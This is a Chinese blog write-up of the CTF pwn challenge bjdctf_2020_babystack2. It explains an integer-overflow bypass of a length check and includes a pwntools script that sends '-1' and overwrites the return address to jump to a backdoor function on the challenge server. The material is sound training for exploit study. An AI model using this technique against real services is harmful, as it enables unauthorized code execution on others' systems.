[BUUCTF]PWN——bjdctf_2020_babystack2

最新推荐文章于 2026-06-21 09:53:41 发布

原创最新推荐文章于 2026-06-21 09:53:41 发布 · 1.3k 阅读

1 ·

本内容遵循CC 4.0 BY-SA版权协议

收录于

pwn 专栏收录该内容

31 篇文章

订阅专栏

本文探讨了在BJDCTF_2020_babystack2挑战中，通过利用一个整数溢出漏洞，远程执行代码的过程。作者详细解释了如何通过IDA工具定位后门函数，设计payload，并使用frompwn库进行远程交互。

bjdctf_2020_babystack2

64位，开启NX保护。
在这里插入图片描述
运行一下。

用IDA打开。找到了后门函数。backdoor=0x400726

查看main函数
读入数据的大小由我们输入的参数nbytes控制
nbytes参数的类型是 size_t，它是一个无符号整型。
但是第7行又将它转换成了有符号的整型，存在整数溢出漏洞（即无符号的数转换成有符号的整型后超过了有符号的整型能表示的范围，从而造成溢出，常用-1来造成溢出）
在这里插入图片描述

from pwn import *

r=remote('node3.buuoj.cn',29186)
backdoor=0x400726

r.recv()
r.sendline('-1')
r.recv()

payload='a'*(0x10+8)+p64(backdoor)
r.sendline(payload)

r.interactive()